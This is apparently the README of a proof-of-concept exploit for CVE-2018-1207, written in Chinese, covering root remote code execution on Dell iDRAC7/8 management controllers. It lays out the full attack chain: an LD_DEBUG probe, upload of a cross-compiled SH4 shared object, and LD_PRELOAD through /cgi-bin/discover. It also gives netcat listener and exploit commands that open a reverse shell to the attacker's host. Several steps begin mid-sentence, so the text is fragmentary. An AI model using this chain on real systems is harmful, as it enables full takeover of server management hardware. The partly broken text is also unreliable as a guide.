本仓库包含一个概念验证 Python 脚本,用于演示 iDRAC7 和 iDRAC8 设备(固件版本 2.52.52.52 及更早版本)中存在的远程代码执行漏洞。该漏洞允许攻击者以 root 用户身份运行代码,可能导致系统完全被接管。在代码中,我们通过利用该漏洞执行反向 shell 攻击来展示这一点。本仓库中的代码是对 Michael Gargiullo (mgargiullo) 原始漏洞利用代码的编辑版本。
免责声明 - 本代码仅供教育用途。你不得使用此脚本攻击你没有所有权或未经明确书面许可的设备。未经授权使用此脚本于系统上是非法的。我对因使用此工具造成的任何滥用或损害概不负责。未经授权使用可能导致严重的法律后果,包括罚款和监禁。
?LD_DEBUG=files 的请求来实现这一点。如果响应中包含显示其尝试加载哪些库文件的调试内容,则表明目标存在漏洞。sh4-linux-gnu-gcc 编译创建的 C 代码文件。由于 iDRAC 运行在 SuperH (SH4) 处理器架构上,我们需要将代码编译为共享对象(.so)文件,以便 iDRAC 能够执行。/cgi-bin/putfile 发送 POST 请求来上传文件,该请求将文件保存到 /tmp/sshpkauthupload.tmp。?LD_PRELOAD=/tmp/sshpkauthupload.tmp 参数的 GET 请求到 /cgi-bin/discover。这会强制 iDRAC 在任何其他库之前加载指定库,从而从 /tmp/ 目录加载修改后的 .so 文件。constructor 函数中,该代码在加载后会立即执行,从而以 root 用户(Linux 系统上权限最高的用户)身份获得反向 shell。在运行脚本之前,请确保你已具备以下条件:
Python3
Python3 的 requests 模块(可通过 pip install requests 安装)
SH4 C 交叉编译器(可通过 sudo apt install gcc-sh4-linux-gnu 安装)
如果没有这些需求,你将遇到问题,漏洞利用将无法完全运行!脚本没有设置任何检查来确保你满足这些要求。
在你的机器上启动一个监听器以捕获反向 shell,使用 netcat。
nc -lvnp <LPORT>
将 <LPORT> 替换为你想要监听的端口(例如 5000)。
使用所需参数运行脚本。
python3 cve-2018-1207.py --rhost <RHOST> --rport <RPORT> --lhost <LHOST> --lport <LPORT>
--rhost:目标 iDRAC 的 IP 地址。--rport:iDRAC Web 接口的端口(通常为 443)。--lhost:你的本地 IP 地址,用于反向 shell 回连。--lport:Netcat 监听器运行的本地端口。--keep-payload:(可选)如果设置,脚本执行后将不会删除你机器上的 payload.c 和 payload.so 文件。攻击者机器(IP:192.168.1.100)- 启动监听器。
nc -lvnp 5000
攻击者机器 - 执行针对 IP 地址为 192.168.1.50 的 iDRAC 的漏洞利用。
python3 cve-2018-1207.py --rhost 192.168.1.50 --rport 443 --lhost 192.168.1.100 --lport 5000
如果成功,你将在 Netcat 终端中获得一个 shell 会话,并可以运行诸如 racadm 之类的命令。